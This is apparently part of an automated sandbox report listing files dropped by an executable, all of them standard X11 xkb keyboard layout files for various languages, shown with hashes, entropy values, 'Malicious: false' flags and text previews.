SHA-256:	CE8F3D08F46BABC31FA51E40F7264578B8CEF22389C8B71F1FDBD4F82889D3B9
SHA-512:	6794BE59C919755FC8BEFC2436DC063055F8295CF78BC2296BB89EE70BA6D870DB7EC308A6B740817B7D501000F0678E253E5A9B0991EEEFFCDCEB19064C14D6
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/am' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Armenian";.. key <TLDE> {.[ 0x100055d, 0x100055c.].};. key <LSGT> {.[ question, 0x100058a.].};. key <BKSL> {.[ guillemotright, guillemotleft]};.. key <AE01> {.[ 0x1000586, 0x1000556.].};. key <AE02> {.[ 0x1000571, 0x1000541.].};. key <AE03> {.[ 0x100058a, 0x1002014 ].};. key <AE04> {.[ comma, dollar.].};. key <AE05> {.[ 0x1000589, 0x1002026.] .};. key <AE06> {.[ 0x100055e, percent.].};. key <AE07> {.[ 0x1002024, 0x1000587.] .};. key <AE08> {.[ 0x100055b, 0x10002bc.] .};. key <AE09> {.[ parenright, parenleft ] .};. key <AE10> {.[ 0x1000585, 0x1000555.].};. key <AE11> {.[ 0x1000567, 0x1000537.].};. key <AE12> {.[ 0x1000572, 0x1000542.].};.. key <AD01> {.[ 0x1000573, 0x1000543.] };. key <AD02> {.[ 0x1000583, 0x1000553.].};. key <AD03> {.[ 0x1000562, 0x1000532.] };. key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\apl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	47207
Entropy (8bit):	4.656317668325169
Encrypted:	false
SSDEEP:	384:mAezcQg6TkXXX6nKLAZqa03o6rLnxl4tteB9k0lRIertYs3ee2n5yuQsUhFCGgJS:mLzwnz5LWtM3L352aqlJkH
MD5:	50063B046D05E556A4F6416420BEEF02
SHA1:	42D2B69EE81C91EC43E6057F8F49088C2CE87E1C
SHA-256:	CC35B26E9ED4B297CCD16E2922EA6C92ED68582795B4CD3CE2E19023F6195247
SHA-512:	3A1607B0E56CAD5C4717714380B415E31F00999AC6B70F529CD2C8D95789A7A1D3F740EADCABF95D6402AA11DCC1FEC524FEFF9A1E31CB350C7CF8FAEE6882E9
Malicious:	false
Preview:	// EXTRAS:.//.// APL Keyboard Layouts..// This file supports:.// -.The Sharp APL for Unix (SAX) layout.// -.The IBM APL2 layout.// -.The Manugistics APL*PLUS II (Version 5.1, 1993) keyboard layout.// -.The Dyalog APL layout - with additions for box drawing and commands..// Unicode APL table: http://aplwiki.com/UnicodeAplTable.// ...and another: http://publibfp.boulder.ibm.com/epubs/pdf/h2110611.pdf (appendix A).// Generic Unicode stuff: http://www.fileformat.info/info/unicode/category/index.htm..// Tim Nelson (this file's creator) says:..// This file doesn't deal with all the combining stuff -- I'm not an APL programmer,.// and am not quite sure what's needed here. However, it may be possible to get this.// working with dead keys and the like. Patches gratefully accepted. ..// Some of the shift-key assignments may differ from the APL tradition. If.// that's not considered acceptable, it should be possible to remap the .// shift keys. I have striven, however, to ensure that the use

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ara

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13854
Entropy (8bit):	4.281380454819676
Encrypted:	false
SSDEEP:	384:ci153hES98opNE6PgoauoOm3R882deWH2EglNgdCoO4:ci66JauoOm3RydFbL
MD5:	08448A52CEB9153EEF52EC66B4743F5A
SHA1:	50070D8AB35B9D85B58006B96305AB9F34067251
SHA-256:	BB1DD4318C874B549AA33969514573EBA2E36CE2FDC4C2D1FD69869C01355674
SHA-512:	28812C204614A83EB4A997084E07E44FD5006F02042B511EAABBCF961822C939CB93BB3E9B2F41EAAE6B0DB59B4D963A20FF64716CB386CCA9D96D22F9F713A0
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/ar' file..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Arabic";..// NOTES:.//.// there is also combined shadda diacritis in AltGr position of simple.// diacritics fatha, fathatan, damma, dammatan, kasra and kasratan.// should a third state be added to Group2 ?.//.. key <TLDE> { [ Arabic_thal, Arabic_shadda ].};. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, at ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, asciicircum ] };. key <AE07> { [ 7, ampersand ] };. key <AE08> { [ 8, asterisk ] };. key <AE09> { [ 9, parenright

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\at

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	567
Entropy (8bit):	4.769103138702506
Encrypted:	false
SSDEEP:	12:jbPnem6ka8VmFYucDJz160dJo8Ma8Au8Jz16Nvlna8jYuF+DJz160dUMa89uuv:XPTXEYn603o8WAn6DxjYTH60KW9R
MD5:	DDD7544B3679E47136D753C874CA21E8
SHA1:	DC608A8FE68732BDE3C4182C4BF19494C0BE95D3
SHA-256:	D349F494A3BDB77DD479327FBEC53FDF6A5FF7ABABA000C75BE0A62AD8D34AB1
SHA-512:	CAD7A19F867B34D4801130EA89A7C49B5B024C8EE96BBB3FFDB16D4FA790B7968E4C8392A55E63A8795893554403DAB5B93F01C2B0B4EA4C6DD9ACA35FFDF40A
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/de' file..default.xkb_symbols "basic" {.. include "de(basic)".. name[Group1]="German (Austria)";.};..partial alphanumeric_keys.xkb_symbols "nodeadkeys" {.. include "de(nodeadkeys)".. name[Group1]="German (Austria, eliminate dead keys)";.};..partial alphanumeric_keys .xkb_symbols "mac" {.. include "de(mac)".. name[Group1]= "German (Austria, Macintosh)";.};..partial alphanumeric_keys.xkb_symbols "sundeadkeys" {.. include "de(Sundeadkeys)".. name[Group1]="German (Austria, Sun dead keys)";.};..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\az

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3981
Entropy (8bit):	4.390448542580053
Encrypted:	false
SSDEEP:	48:os32FubdZY2aotY3wVAuJF5/QahjqG3zof2v+O5sIzFfi:os3zavWY3wV3Iahjq0zRv+O5LzFfi
MD5:	21950ABD3BFD46792B5097337000C813
SHA1:	433B925C974257FA82535FCBB4BDB5976FD1F625
SHA-256:	EDE20202FE06E328530F01B283517E87CC07E4D5F31E0E6B982816E83C19BA65
SHA-512:	3EB8D8F850CD3B420C85D695E26D169686F3E1210D19206EB89FC6FBD58349A40DD6B6CAE56E32DC277D3AA5882EC85E1D25A6C24E73FA7D10D93FDBE030908B
Malicious:	false
Preview:	// Symbols definition for a very simple Azerbaidjani keyboard layout..// 2001 - Pablo Saratxaga <pablo@mandrakesoft.com>..default partial alphanumeric_keys.xkb_symbols "latin" {.. include "us".. name[Group1]= "Azerbaijani";.. key <TLDE> { [ grave, asciitilde, dead_grave, dead_tilde ] };.. key <AE03> { [ 3, numbersign, U2166 ] };. key <AE06> { [ 6, colon, EuroSign, periodcentered ] };. key <AE07> { [ 7, question ] };.. key <AE08> { [ 8, asterisk, asciicircum, dead_circumflex ] };. key <AE11> { [ minus, underscore, hyphen, emdash ] };.. key <AD02> { [ udiaeresis, Udiaeresis ] };. key <AD04> { [ r, R, registered ] };. key <AD08> { [ i, Iabovedot ] };. key <AD11> { [ odiaeresis, Odiaeresis, bracketleft, braceleft ] };. key <AD12> { [ gbreve, Gbreve, bracketright, braceright ] };.. key <AC10> { [ idotless, I ] };. key <AC11> { [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ba

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	715
Entropy (8bit):	4.754490841604358
Encrypted:	false
SSDEEP:	12:aBz160dluDaFz16VMuFtQaAz16BKfMuFt+naMztz16VbuFtgWa+z16V7lBuFtVaj:aT60z36ad6BMMfz6NI6BlBn
MD5:	C0A0B77FAE2EFA14E60B72CE9C9EBE2D
SHA1:	7AD96A2AF6083E8B006D2560E1746F4E2552CEB9
SHA-256:	D6966D499D0ED12BC7C60D95318C33E0335C5D5B743B0994569C4375C361F982
SHA-512:	1AECBEB5E0301D4DFA8C9354A1B9CA3387A7EA0BBA1FE278CC095F3914397D0A53991BF3511CA9879EC5E8ED42C83AB998194A956C1C715BED20242485EAAA10
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Bosnian";.. include "rs(latin)".};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Bosnian (US keyboard with Bosnian letters)";.. include "rs(latinyz)".};...partial alphanumeric_keys .xkb_symbols "alternatequotes" {.. name[Group1]= "Bosnian (use guillemets for quotes)";.. include "rs(latinalternatequotes)".};..partial alphanumeric_keys .xkb_symbols "unicode" {.. name[Group1]= "Bosnian (use Bosnian digraphs)";.. include "rs(latinunicode)".};..partial alphanumeric_keys .xkb_symbols "unicodeus" {.. name[Group1]= "Bosnian (US keyboard with Bosnian digraphs)";.. include "rs(latinunicodeyz)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4293
Entropy (8bit):	5.191378832496239
Encrypted:	false
SSDEEP:	48:5HLAEQsZSAAQEWCD0YGTaMBy16G3lx1rKrN35GK8lWOn4z+TR1sMiyZ+hLMIDtUP:yEQOuQU4b5IcS1WnalnfTviyZ+hLtk
MD5:	A736D4D7DAD90FC345DA5E53BBBC1D57
SHA1:	1466A47D11188D6E2AA79372B07051BEBF65DD23
SHA-256:	4341088D2A68F27C1E4097B575C5AA68A45F31957D3C545FE88527535DDDFC5B
SHA-512:	8A9A8E9A4E1EA83FA6E50377298ED77DE0DE529001AE528F5DB864ACED7C5B4CACEF0E25379F4C8D9D673D70BFB4445B2BEB6D9578F6455AB2CDEEDCC67B52B1
Malicious:	false
Preview:	//.// XKB symbol :: National Bangla/Bengali Standard Keyboard Layout for Bangladesh.// Ref: http://www.bcc.net.bd/keyboard/bsti_kb_specification.pdf.//.// Author: Jamil Ahmed <jamil at bengalinux.org>.// Created: 18-12-2005.// Last Updated: 08-01-2006.// Version: 6.01.3.//.// Issues:.// <AC08> Khanda-Ta is given U-09CE; But BCC had U-09BA.// <AC07> U-09BB is added though it is not allocated in Original Unicode.// <AE06> U-09B3 is added though it is not allocated in Original Unicode.// 3 Conjunct characters are not included.//..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Bengali";. key <ESC> { [ Escape ] };..// numbers. key <TLDE> { [ grave,.asciitilde,.voidsymbol,.voidsymbol ] };. key <AE01> { [ 0x10009E7,.exclam,..0x10009F4,.voidsymbol ] };. key <AE02> { [ 0x10009E8,.at,..0x10009F5,.voidsymbol ] };. key <AE03> { [ 0x10009E9,.numbersign,.0x10009F6,.voidsymbol ] };. key <AE04> { [ 0x10009EA,.dollar,..0x10009F3,.0x10009F2 ] };. key <AE05> {

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\be

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12821
Entropy (8bit):	4.756161642886696
Encrypted:	false
SSDEEP:	384:WteCxGhXayxuzAmS5itDtJJlPS9PK0uWaaDqNpMbeSZeesn5:WEKyxdOtDtJJlQPK0OaDqNpMT85
MD5:	E27C9076B88D162B20DD2D5A089B98D7
SHA1:	135DF25BC1764C85DF6F4D18AC9A4413DD9DA591
SHA-256:	BD5A2518858551C056B12814B1183CBFB265A48687CAA12196E53437A34B56D1
SHA-512:	B20F2A6114B3C8157E2660DEB421801FB4FF3FDAF5B6A27B9CD351FA76E48ABACD25BADD91BFC2B4B83B3008F3EA958F8AAEC9B14DC3B6103B1E2A9A9C7A0211
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/be' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Belgian";.. key <AE01>.{ [ ampersand, 1, bar, exclamdown ].};. key <AE02>.{ [ eacute, 2, at, oneeighth ].};. key <AE03>.{ [ quotedbl, 3, numbersign, sterling ].};. key <AE04>.{ [apostrophe, 4, onequarter, dollar ].};. key <AE05>.{ [ parenleft, 5, onehalf, threeeighths ].};. key <AE06>.{ [ section, 6, asciicircum, fiveeighths ].};. key <AE07>.{ [ egrave, 7, braceleft, seveneighths ].};. key <AE08>.{ [ exclam, 8, bracketleft, trademark ].};. key <AE09>.{ [ ccedilla, 9, braceleft, plusminus ].};. key <AE10>.{ [ agrave, 0, braceright, degree ].};. key <AE11>.{ [parenright, degree, backslash, questiondown ].};. key <AE12>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bg

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16429
Entropy (8bit):	4.17066511887048
Encrypted:	false
SSDEEP:	384:8zTl9bIobTiC8NySjLRuznK2X8VV7N1//Yyjacv+l8HeDq:oUr
MD5:	DAF921720F69B8D0B8378CC7403D9DD0
SHA1:	1D564925642EB3E60ECC0D2DC77E22DE0377728C
SHA-256:	B4894118557DF874EB8BEB448466C6E6EEE75C3F9F194679DB16A391B24C9A24
SHA-512:	E8B26A89258870B31FD9EB83AFD6E7278DC741FD529494F46901E7A2F453FBDA5DD334CDB3CF0C5002DFDDA24253E93BD9FC7EF76757C1C589F9F92CF5AEEBE2
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////.// Copyright (C) 1999, 2000, 2007, 2009 by Anton Zinoviev <anton@lml.bas.bg>.//.// This software may be used, modified, copied, distributed, and sold,.// both in source and binary form provided that the above copyright.// notice and these terms are retained. The name of the author may not.// be used to endorse or promote products derived from this software.// without prior permission. THIS SOFTWARE IS PROVIDES "AS IS" AND.// ANY EXPRESS OR IMPLIED WARRANTIES ARE DISCLAIMED. IN NO EVENT.// SHALL THE AUTHOR BE LIABLE FOR ANY DAMAGES ARISING IN ANY WAY OUT.// OF THE USE OF THIS SOFTWARE..//.////////////////////////////////////////////////////////////////////////// .// Version 2.0..// The following variants are defined in this file:..// "bds" - the BDS keyboard layout compliant with the proposed.// Bulgarian state standard BDS 5237:2006..// "phonetic" - Bulgarian phonetic layout with traditional position o

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\br

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16728
Entropy (8bit):	3.9868530349697924
Encrypted:	false
SSDEEP:	384:+7caT6sscuaUavblc9PA3UfknMBjwEkQaJbc9PSArr7YIImCSkQBKczFi:+7cmHsKblxeZjOJbBa5IKKcz0
MD5:	3CC60A8003F97D71636EFFF72ACB12F6
SHA1:	A1BE903375B70E1AB49EB927D7D3E4227FC182DD
SHA-256:	20EFEF0316A4849B1867D8771D26CDE7095919D9BCEF07A797ACA302E96290D7
SHA-512:	426308F6FCE0D7C43091BDFAF5423C566483EA538487CBEEDB46D0F6F8FD1E2FD6F6459173612D619BB38471B857963A9C2DEBD295537C9BF74DDF95A6D8DAB6
Malicious:	false
Preview:	//.// based on .// "a very simple Brasilian ABNT2 keyboard.// by Ricardo Y. Igarashi (iga@that.com.br).// Adds suport for dead-keys in I18N applications.// by Conectiva (http://www.conectiva.com.br)".//..default.xkb_symbols "abnt2" {.. include "latin". name[Group1]="Portuguese (Brazil)";.. key <AE02>.{ [ 2, at, twosuperior, onehalf ].};. key <AE03>.{ [ 3, numbersign, threesuperior, threequarters ] };. key <AE04>.{ [ 4, dollar, sterling, onequarter ].};. key <AE05>.{ [ 5, percent, cent, threeeighths ].};. key <AE06>.{ [ 6, dead_diaeresis, notsign, diaeresis ].};. key <AE12>.{ [ equal, plus, section, dead_ogonek ].};.. key <AD01> { [ q, Q, slash, slash ] }; . key <AD02> { [ w, W, question, question ] }; . key <AD03>.{ [ e, E, EuroSign, EuroSign ].};. key <AD04>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\brai

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.891847427071727
Encrypted:	false
SSDEEP:	24:Lf5Ho5gT60MJrcNe/JV9y1smZ60Pr6JNee51G60O7K8HNeScf5myk6NmNe6pahj:Lf5H/MoIgtPo3CO7vU5myUQ
MD5:	D139C15E66D560F0E23B7F9F3D8B1A96
SHA1:	B7B75533E3AB5B12D2C1BEC7EDB694F8500F9044
SHA-256:	25D86F0127ECE49DB44940A23AC7F7B4EF55A28EE74ABB2B6F264FFA99C3E9B8
SHA-512:	7CA7CE8921F013AF96275F27D4078FB7BD5DFA794C21455BA3D89E7DED85D4500069838DD1DBDA81C5C13C332389D6973377803D5DA282E1033C816533883C5C
Malicious:	false
Preview:	// 10-dot patterns on the home row + v and n.default partial alphanumeric_keys.xkb_symbols "home_row" {. include "brai(keypad)".. name[Group1]="Braille";.. key <AC04>.{ [ braille_dot_1 ] };. key <AC03>.{ [ braille_dot_2 ] };. key <AC02>.{ [ braille_dot_3 ] };. key <AC07>.{ [ braille_dot_4 ] };. key <AC08>.{ [ braille_dot_5 ] };. key <AC09>.{ [ braille_dot_6 ] };. key <AC01>.{ [ braille_dot_7 ] };. key <AC10>.{ [ braille_dot_8 ] };. key <AB04>.{ [ braille_dot_9 ] };. key <AB06>.{ [ braille_dot_10 ] };.};..// 6-dot patterns for the left hand.partial alphanumeric_keys.xkb_symbols "left_hand" {. include "brai(keypad)".. name[Group1]="Braille (left hand)";.. key <AC03>.{ [ braille_dot_1 ] };. key <AC02>.{ [ braille_dot_2 ] };. key <AC01>.{ [ braille_dot_3 ] };. key <AC04>.{ [ braille_dot_4 ] };. key <AB05>.{ [ braille_dot_5 ] };. key <AB04>.{ [ braille_dot_6 ] };.};..// 6-dot patterns for the right hand.partial alphanumeric_keys.x

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4610
Entropy (8bit):	4.638531655739416
Encrypted:	false
SSDEEP:	48:n3YHfvzNxibE4SvKWB4hecQMsRnAaWsOfdjm0ir4HhXyhwzGz7c+VKnYs+O1EjEy:nIHfvzHl4CMsl3D0H5JGzgc+Ys0cOIY1
MD5:	7C15E162730CD85639A8628ECB653D0D
SHA1:	3BD651CB534A244D9B91053972B5AD77A2113788
SHA-256:	121F37714FE8EC75363C5EBAB5DE4D6326F54832978EF95602519BB093D72C4D
SHA-512:	A4965D3FAB488A5EDC01F3520046E76D9C78D65C5CC7322A6AF6C089CFA95BEB2C3FC9779392CAD6FAE50256E01ED8BBAF0EB38D88569065AB8D6BB16B187FD3
Malicious:	false
Preview:	//.// Dzongkha / Tibetan layout for Bhutanese keyboard.//./////////////////////////////////////////////////////////////////.//.// Based on the official layout for Dzongkha.// approved by the Department of Information Technology &.// Dzongkha Development Authority of the Government of Bhutan.//.// Copyright (C) 2004, Gregory Mokhin <mokhin@bog.msu.ru>.///////////////////////////////////////////////////////////////// .// Version 0.97 2004-01-09 Layout map provided by Chris Fynn.// Version 1.0 2004-07-29 Some correction by Pema Geyleg <pema_geyleg@druknet.bt>./////////////////////////////////////////////////////////////////..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Dzongkha";.. key <TLDE> { [ 0x1000F09, 0x1000F0A, 0x1000F6C, 0x1000F6D ].};. .// numbers e.a.. key <AE01> { [ 0x1000F21, 0x1000F04, 1, exclam ].};. key <AE02> { [ 0x1000F22, 0x1000F05, 2, at ].};. key <AE03> { [ 0x1000F23, 0x1

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\bw

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.004660325438561
Encrypted:	false
SSDEEP:	24:aT60P7FbBpKE5pSFPVOdBwZJ0EOPWFvMVY:SP7DpnpoPV+WZJ0E+WZ
MD5:	5CFE7DF0B4A89E5DCBE6EC609DE7FDE8
SHA1:	11A2CFD137E0239A5CB1B3BE2D7B0A278DE1EDA1
SHA-256:	1334466C64B7D48B6F5C8607B6EC24922015C7779A3BC6DA914C787C019192B3
SHA-512:	C5AE6C6BC9DA23DB4C46E165C926283DCF4439364BF834752A48F9FD6E4AC1237AD217E87DFEF44DA680513F1C5E7C63CB58C7A482AF9FB75EEB7EB5142A12A3
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "tswana" {.. include "us".. name[Group1]= "Tswana";. . key <AC10> { [ semicolon,. colon, 0x01000324, 0x01000324 ] };.//COMBINING DIAERESIS BELOW.. key <AC11> { [apostrophe, quotedbl, 0x01000301, 0x01000308 ] };.//COMBINING ACUTE ACCENT, COMBINING DIAERESIS. key <TLDE> { [ grave, asciitilde, 0x01000300, 0x01000303 ] };.//COMBINING GRAVE ACCENT, COMBINING TILDE. key <AE06> { [ . 6, asciicircum, 0x01000302 . . ] };.//COMBINING CIRCUMFLEX ACCENT. key <AE08> { [. 8, asterisk, 0x01000307, 0x01000323 ] };.//COMBINING DOT ABOVE, COMBINING DOT BELOW. key <AE09> { [. 9, parenleft, 0x01000306. ] };.//COMBINING BREVE. key <AE10> { [. 0, parenright, 0x0100030c . ] };.//COMBINING CARON. key <AE11> { [ minus, underscore, 0x01000304, 0x01000331 ] };.//COMBINING MACRON,COMBINING MACRON BELOW . .. include "level3(ralt_switch)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\by

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	4.373357443694293
Encrypted:	false
SSDEEP:	24:yTTeB+BXaFT60VtVuwv23vCAf60rNqZ/B0kLanPPhCtwlMWZiqx9UoLcQvd60SoZ:8eQqxVObDrarksHwSj155Q4O
MD5:	A9291CD7D467A6E6F687DCB83FCFA8A2
SHA1:	F872B8200CA65F95BB2E1215D644515DAB86E816
SHA-256:	B5623E6570EAE3F2865B403EE7E49960B00D596507B94C99507EAD630484F279
SHA-512:	89D226CCE9AA6A058CA2C3773BE0F81553524AD2B613747803209AE3C72AE1E9238E0E1E8D453A7AE2183243C111967F880D15DA42B139800AF8EA2AD4E71BA9
Malicious:	false
Preview:	// based on.// belarusian standard keyboard .// Alexander Mikhailian <mikhailian@altern.org>.// Reworked to use winkeys by default and russian keymap as base by Paul Lubetsky <vegeek@gmail.com>.// Added third level with russian symbols.// See freedesktop.org bug #23604..default partial alphanumeric_keys.xkb_symbols "basic" {..include "ru(winkeys)"..name[Group1]= "Belarusian";...key.<AD09> {.[.Byelorussian_shortu,.Byelorussian_SHORTU.].};..key.<AD12> {.[.apostrophe,.apostrophe.].};..key.<AB05> {.[.Ukrainian_i,.Ukrainian_I.].};.};..partial alphanumeric_keys.xkb_symbols "legacy" {..include "by(basic)"..name[Group1]= "Belarusian (legacy)";....key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, asterisk ] };..key <AE05> { [ 5, colon ] };..key <AE06> { [ 6, comma ] };..key <AE07> { [ 7, period ]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ca

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21486
Entropy (8bit):	4.538558876073644
Encrypted:	false
SSDEEP:	384:ewoaVAICoasgxdK5oFCtpSZnTijv9z9bdDFgxaYvfnONHp3yW1:e9Z1npijFFdJgxvI3yW1
MD5:	C3962EAA61876A29C4C6CD98AA8E5C04
SHA1:	8AC7EDDE6989B08B48CC5769DB27A9C4886F0079
SHA-256:	A4F75DD6D3D89F9D8AFFC1FF7F977EE4C9DC51ABAC4B39A119A5D4D9AF6C380A
SHA-512:	3B77A01432E594FFBD75F36FACF5768F5919F3827311F8D227D1EA6203F1A914BD6951FE8FB7F93E08B09E92EDC01498B4C5DE34C5D235246FA3ECF8E3C319D8
Malicious:	false
Preview:	default partial.xkb_symbols "fr" {. name[Group1] = "French (Canada)";.. key <TLDE>.{ [ numbersign, bar, backslash ].};. key <AE01>.{ [ 1, exclam, plusminus ].};. key <AE02>.{ [ 2, quotedbl, at ].};. key <AE03>.{ [ 3, slash, sterling ].};. key <AE04>.{ [ 4, dollar, cent ].};. key <AE05>.{ [ 5, percent, currency ] .};. key <AE06>.{ [ 6, question, notsign ].};. key <AE07>.{ [ 7, ampersand, userenbar ].};. key <AE08>.{ [ 8, asterisk, twosuperior ].};. key <AE09>.{ [ 9, parenleft, threesuperior ].};. key <AE10>.{ [ 0, parenright, onequarter ].};. key <AE11>.{ [ minus, underscore, onehalf ].};. key <AE12>.{ [ equal, plus, threequarters ].};.. key <AD01>.{ [ q, Q ].};. key <AD02>.{ [ w, W ].};. key <AD03>.{ [ e,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\capslock

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.904176896732283
Encrypted:	false
SSDEEP:	24:at2I0UyAI0FbeI0aX2RKOM/1d3FiLQLnftC3O8k16M0n0vM3og:O7lu6bjlCM9x4LQLfUIV0naM3og
MD5:	14C0A45EFBE83FF402B03E80A9DF82C3
SHA1:	CDE874ACF47BDA59F9F283571B406A3728759DAA
SHA-256:	FC98CD711C75F5CA9E4F5ADE410235EF7CD5F629687702CC38074F3DFA0D3018
SHA-512:	444FF6EEC6293CB848D113C2752EAA4498C24D6A3615CB05CABDC36D1C9B8775EB2BC4B3EB435DEF1CB10756E129E7D36FE9072036D6DE56FFCAA7B17CD2E556
Malicious:	false
Preview:	default partial hidden modifier_keys.xkb_symbols "capslock" {. replace key <CAPS> { [ Caps_Lock ] };. modifier_map Lock { Caps_Lock };.};..partial hidden modifier_keys.xkb_symbols "shiftlock" {. replace key <CAPS> { [ Shift_Lock ] };. modifier_map Shift { Shift_Lock };.};..partial hidden modifier_keys.xkb_symbols "grouplock" {. replace key <CAPS> { [ ISO_Next_Group, Caps_Lock ] };.};..partial hidden modifier_keys.xkb_symbols "swapescape" {. key <CAPS> { [ Escape ] };. key <ESC> { [ Caps_Lock ] };.};..partial hidden modifier_keys.xkb_symbols "groupshift" {. key <CAPS> {. type[Group1] = "PC_ALT_LEVEL2",. [ Mode_switch, Caps_Lock ]. };.};..partial hidden modifier_keys.xkb_symbols "escape" {. key <CAPS> { [ Escape ] };.};..partial hidden modifier_keys.xkb_symbols "backspace" {. key <CAPS> { [ BackSpace ] };.};..partial hidden modifier_keys.xkb_symbols "super" {. key <CAPS> { [ Super_L ] };. modifier_map Mod4 { <CAPS> };.};..partial hid

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4120
Entropy (8bit):	3.36797391105188
Encrypted:	false
SSDEEP:	48:lzVbJd9CsOs/+TbaJLH5Uhtlf+PXs5Ccdzxp1EI58UT+VrsvPaCC0EjZ7cDp2lxm:Zfd0Bs/+X6LH5UhPmK1BN4XNn4J
MD5:	1467FC11043470F110B96F1BCF2538E2
SHA1:	2F5A25A63D859FA329170C0FDB385101B3DBA4D7
SHA-256:	6589920A3805A187B7A473578D9D23959EDA250C9E76391AD07E245F4DF95E05
SHA-512:	369DE62CFC40C65F6AC206D36C093402FAC05EE4AFEC2D5E229BF9986DCD3ECD9297C4E5AD5887262E7A7A3CB1EF3327B62DE6D1180E990DBE3A3B3D2D188524
Malicious:	false
Preview:	// based on us_intl keyboard map file and a Sinhala keyboard map.// version 0.3..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "French (Democratic Republic of the Congo)";.. key.type[Group1] = "FOUR_LEVEL";.. // GRAVE, TILDE, COMBINING TILDE. key <TLDE> { [ grave, asciitilde, 0x01000303 ] };. key <AE01> { [ ampersand, 1, numbersign ] };. key <AE02> { [0x01000301, 2, at ] };. key <AE03> { [0x01000300, 3, guillemotleft ] };. key <AE04> { [ parenleft, 4, bracketleft ] };. key <AE05> { [ braceleft, 5, less ] };. key <AE06> { [ braceright, 6, greater ] };. key <AE07> { [parenright, 7, bracketright ] };. key <AE08> { [0x01000302, 8, guillemotright ] };. key <AE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ch

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8239
Entropy (8bit):	4.786608437756496
Encrypted:	false
SSDEEP:	192:gUwo0H+AtHFgfMGtwRufWtP1usMA/0d/uuZ53OhmdzYcV3otoCJuGc:g5o0H+AtHFgfMGtwkfWtP1uC/0ygdzYO
MD5:	EA3AE1E8F24EBA05111593E9CD8B2AEA
SHA1:	84E33E18921AA1DC6C58B7A92318546F9F948CE3
